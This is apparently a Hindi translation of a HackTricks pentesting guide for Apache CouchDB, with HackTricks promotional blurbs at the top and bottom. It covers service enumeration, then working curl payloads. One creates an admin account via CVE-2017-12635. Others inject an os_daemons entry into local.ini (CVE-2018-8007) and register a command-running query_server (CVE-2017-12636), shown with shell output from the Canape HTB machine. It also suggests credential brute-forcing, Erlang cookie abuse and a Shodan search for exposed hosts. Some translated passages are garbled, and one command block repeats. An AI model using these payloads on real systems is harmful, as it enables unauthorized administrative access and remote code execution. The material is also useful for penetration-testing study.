33 KiB
5984,6984 - काउचडीबी का पेंटेस्टिंग
☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥
-
क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
-
प्राप्त करें आधिकारिक PEASS और HackTricks swag
-
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या फॉलो करें मुझे ट्विटर 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके।
मूलभूत जानकारी
काउचडीबी एक दस्तावेज़-विषयक डेटाबेस है और प्रत्येक दस्तावेज़ में फ़ील्ड को कुंजी-मान मानचित्र के रूप में संग्रहीत किया जाता है। फ़ील्ड सादा कुंजी/मान जोड़ी, सूची या मानचित्र हो सकते हैं।
डेटाबेस में संग्रहीत हर दस्तावेज़ को एक दस्तावेज़-स्तरीय अद्वितीय पहचानकर्ता (_id
) और प्रत्येक परिवर्तन के लिए एक संशोधन (_rev
) संख्या दी जाती है जो डेटाबेस में किए गए और सहेजे गए हैं।
डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
स्वचालित गणना
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
बैनर
curl http://IP:5984/
यह एक GET अनुरोध जारी करता है इंस्टॉल किए गए CouchDB इंस्टेंस के लिए। जवाब कुछ इस तरह दिखना चाहिए:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
ध्यान दें कि यदि आप couchdb के रूट तक पहुंचते हैं तो आपको 401 Unauthorized
प्राप्त होगा जिसमें इस तरह कुछ होगा: {"error":"unauthorized","reason":"Authentication required."}
आप बैनर या किसी अन्य एंडपॉइंट तक पहुंच नहीं पाएंगे।
{% endhint %}
जानकारी एनुमरेशन
ये एंडपॉइंट्स हैं जहां आप एक GET अनुरोध के साथ पहुंच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप काउचडीबी दस्तावेज़ीकरण में अधिक एंडपॉइंट्स और अधिक विस्तृत विवरण पा सकते हैं।
/_active_tasks
चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल होती है।- **
/_all_dbs
**काउचडीबी इंस्टेंस में सभी डेटाबेस की सूची लौटाता है। - **
/_cluster_setup
**नोड या क्लस्टर की स्थिति लौटाता है, क्लस्टर सेटअप विज़ार्ड के अनुसार। /_db_updates
काउचडीबी इंस्टेंस में सभी डेटाबेस इवेंट्स की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए_global_changes
डेटाबेस की मौजूदगी आवश्यक है।/_membership
cluster_nodes
के रूप में क्लस्टर का हिस्सा होने वाले नोड्स को प्रदर्शित करता है।all_nodes
फ़ील्ड में इस नोड के बारे में जानकारी प्रदर्शित करता है, जिसमें क्लस्टर का हिस्सा होने वाले नोड्स भी शामिल हैं।/_scheduler/jobs
रिप्लिकेशन जॉब्स की सूची। प्रत्येक जॉब विवरण में स्रोत और लक्ष्य जानकारी, रिप्लिकेशन आईडी, हाल के घटना का इतिहास और कुछ अन्य चीजें शामिल होंगी।/_scheduler/docs
रिप्लिकेशन डॉक्यूमेंट स्थिति की सूची।completed
औरfailed
स्थितियों में भी सभी दस्तावेज़ों के बारे में जानकारी शामिल होती है। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, रिप्लिकेशन आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
एंडपॉइंट का उपयोग यह सत्यापित करने के लिए किया जा सकता है कि अनुरोध को प्रसंस्करण करने वाला सर्वर का ईरलैंग नोड नाम क्या है। यह सबसे उपयोगी होता है जब/_node/_local
तक पहुंचने के लिए इस जानकारी को प्राप्त किया जाता है।/_node/{node-name}/_stats
_stats
संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए आँकड़े शामिल होते हैं। स्थानीय नोड नाम के लिए शब्दमाला स्ट्रिंग_local
एक उपनाम के रूप में कार्य करती है, इसलिए सभी आँकड़े URL के लिए,{node-name}
को_local
से बदला जा सकता है, स्थानीय नोड के आँकड़ों के साथ संवाद करने के लिए।/_node/{node-name}/_system
_system संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न स्तर के आँकड़े शामिल होते हैं। वर्तमान नोड जानकारी प्राप्त करने के लिए आप ___local
का उपयोग कर सकते हैं।/_node/{node-name}/_restart
/_up
सत्यापित करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदिmaintenance_mode
true
याnolb
है, तो एंडपॉइंट 404 प्रतिसाद लौटाएगा।- **
/_uuids
**काउचडीबी इंस्टेंस से एक या अधिक यूनिवर्सली यूनिक आईडेंटिफ़ायर (UUIDs) का अनुरोध करता है। - **
/_reshard
**क्लस्टर पर पूर्ण, विफल, चल रहे, रोके गए और कुल जॉब्स की संख्या के साथ रेशार्डिंग की स्थिति लौटाता है।
यहां और दिलचस्प जानकारी निकाली जा सकती है जैसा कि यहां समझाया गया है: https://lzone.de/cheat-sheet/CouchDB
डेटाबेस सूची
curl -X GET http://IP:5984/_all_dbs
यदि उस अनुरोध का 401 अनधिकृत प्रतिक्रिया देता है, तो आपको डेटाबेस तक पहुंच के लिए कुछ मान्य प्रमाणीकरण की आवश्यकता होगी:
curl -X GET http://user:password@IP:5984/_all_dbs
वैध क्रेडेंशियल्स ढूंढ़ने के लिए आप सेवा को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
यह एक couchdb प्रतिक्रिया का उदाहरण है जब आपके पास पर्याप्त अधिकार होते हैं ताकि आप डेटाबेस की सूची बना सकें (यह केवल डेटाबेस की एक सूची है):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
डेटाबेस जानकारी
आप डेटाबेस नाम का उपयोग करके कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) प्राप्त कर सकते हैं:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
दस्तावेज़ सूची
एक डेटाबेस के भीतर प्रत्येक प्रविष्टि की सूची बनाएँ
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
दस्तावेज़ पढ़ें
डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB विशेषाधिकार उन्नयन CVE-2017-12635
Erlang और JavaScript JSON पार्सरों के बीच अंतर के कारण आप निम्नलिखित अनुरोध के साथ क्रेडेंशियल hacktricks:hacktricks
के साथ एक व्यवस्थापक उपयोगकर्ता बना सकते हैं:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
इस vuln के बारे में अधिक जानकारी यहाँ.
CouchDB RCE
Erlang कुकी
CouchDB दस्तावेज़ों में, क्लस्टर सेटअप खंड में, यह CouchDB द्वारा उपयोग किए जाने वाले विभिन्न पोर्टों के बारे में बात करता है:
क्लस्टर मोड में CouchDB स्थानीय, स्थानीय API के लिए
5986
का उपयोग करता है, जैसा कि स्थानिक होने के लिए5984
पोर्ट का उपयोग करता है।Erlang अन्य नोड्स को खोजने के लिए TCP पोर्ट
4369
(EPMD) का उपयोग करता है, इसलिए सभी सर्वरों को इस पोर्ट पर एक दूसरे से बात करने की क्षमता होनी चाहिए। Erlang क्लस्टर में, सभी नोड्स सभी अन्य नोड्स से जुड़े होते हैं। एक जाल।
और फिर यहाँ एक दिलचस्प चेतावनी है:
यदि हम प्रक्रिया सूची में देखें, तो हम देख सकते हैं कि कुकी, "monster":
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
आप इस खंड को पढ़कर Erlangs कुकी का दुरुपयोग करके RCE प्राप्त करने के बारे में सीख सकते हैं। इसके अलावा, आप कुछ Canape HTB मशीन व्रिटअप भी पढ़ सकते हैं जैसे यह एक जहां आप इस दुरुपयोग का उपयोग करके देख सकते हैं और अभ्यास कर सकते हैं कि इस दुरुपयोग का उपयोग कैसे करें।
लोकल.ini लेखन अनुमतियों के साथ सफल CVE-2018-8007
इस पोस्ट को लिखते समय, मुझे पता चला कि mdsec से CouchDB के लिए एक नया CVE जारी किया गया था, CVE-2018-8007। इसमें भी local.ini
फ़ाइल में लेखन की आवश्यकता होती है, इसलिए यह Canape के लिए उपयोगी विकल्प नहीं है। लेकिन क्योंकि मैंने पहले से ही इसे रूट के रूप में लिखने के लिए उपयोगी बना दिया है, चलो देखते हैं कि क्या हम इसे काम में ला सकते हैं।
साफ़ और अब लिखने योग्य local.ini
के साथ शुरू करें (और बैकअप):
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
हम local.ini
फ़ाइल में मूल स्रोतों को संशोधित करने के लिए curl का उपयोग कर सकते हैं। यहां संकटग्रस्तता यह है कि यदि हम curl का उपयोग करके एक नया मूल स्रोत और फिर नई पंक्तियों को डालते हैं, तो हम अतिरिक्त सामग्री, सहित एक नया हैडर और विवरण लिख सकते हैं। इसलिए हम [os_daemons]
क्षेत्र का लाभ उठाएंगे, और CouchDB के लिए एक प्रक्रिया जोर देने का प्रयास करेंगे:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
मूल शैल में, हम देख सकते हैं कि क्या परिवर्तन होते हैं:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
और फिर भी, फ़ाइल वहां नहीं है:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
यदि हम "couchdb" के साथ चल रहे प्रक्रियाओं की ओर देखें, तो हमें पहले से उपयोग किए गए कुकी मान को हमें देने वाली कमांड लाइन ही नहीं मिलती है, बल्कि runsrv couchdb
भी मिलता है:
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
अगर हम उस प्रक्रिया को मार देते हैं, तो वह फिर से वापस आती है (नया पिडी का ध्यान दें):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
और, पुनरारंभ पर, ओएस_डेमन्स चलाता है:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
CVE-2017-12636 के माध्यम से सफल प्रयास स्थानीय.आईएनआई लेखन अनुमतियों के माध्यम से
CVE-2017-12636 काउचडीबी प्रक्रिया के माध्यम से कोड निष्पादन की अनुमति देता है। हालांकि, यह विन्यास में काम नहीं करेगा।
कुछ POCs उपलब्ध हैं जो संदर्भ के लिए हैं:
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913/
हमें एक नया query_server लिखने की आवश्यकता होगी, और फिर उसे आह्वान करें। कैनपी जारी किए जाने पर, अधिकांश POCs काउचडीबी 1.X के लिए थे, लेकिन यह बॉक्स 2 चला रहा है, इसलिए अधिकांश POCs का query_servers पथ मौजूद नहीं है। यह अब बदल चुका है, लेकिन हम वही कदम चलेंगे। पहले, संस्करण प्राप्त करें, और दिखाएं कि 1.X पथ मौजूद नहीं है:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
नए पथ के साथ अपडेट करें 2.0 के लिए:
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
वहां से, हमें एक query_server जोड़ना चाहिए और फिर इसे आह्वान करना चाहिए, लेकिन हम इसे करने में सक्षम नहीं हैं।
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
कुछ गूगलिंग दिखाती है कि यह अनुमतियों की समस्या है। वास्तव में, अगर हम अपने रूट शैल में जांच करें, तो हम देख सकते हैं कि local.ini
फ़ाइल किसी को लिखने के योग्य नहीं है, और विशेष रूप से www-data: के बारे में नहीं।
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
तो यह कैनेप के लिए एक बंद मार्ग है। लेकिन यदि हम इसे काम करने की कोशिश करना चाहते हैं, तो हम इसे हमारे रूट या होमर एक्सेस के साथ पठनीय बना सकते हैं और इस मार्ग पर आगे बढ़ सकते हैं। हम मूल का बैकअप बनाएंगे ताकि हम देख सकें कि क्या परिवर्तन हुए हैं:
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
अब, हमारे www-data शैल में वापस आते हैं:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
हम cmd क्वेरी सर्वर के लिए पिछले मान को वापस प्राप्त करते हैं, जो सफलता का संकेत है। और रूट शैल में, हम देख सकते हैं कि यह काम कर गया है:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
अब, हमें एक डीबी बनाने और फिर उस डीबी में एक दस्तावेज़ बनाने की क्षमता होनी चाहिए, और उसे एक व्यू के साथ अनुरोध करना चाहिए जो हमारे query_server को मानचित्रित करता है ताकि क्रियान्वयन हो सके।
डीबी और दस्तावेज़ बनाएँ:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
एक व्यू में यह अनुरोध करें:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
सारांश एक अलग payload के साथ
Shodan
port:5984 couchdb
संदर्भ
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
-
खोजें The PEASS Family, हमारा विशेष NFT संग्रह
-
प्राप्त करें आधिकारिक PEASS & HackTricks swag
-
शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे ट्विटर पर फ़ॉलो करें 🐦@carlospolopm.
-
अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके साझा करें।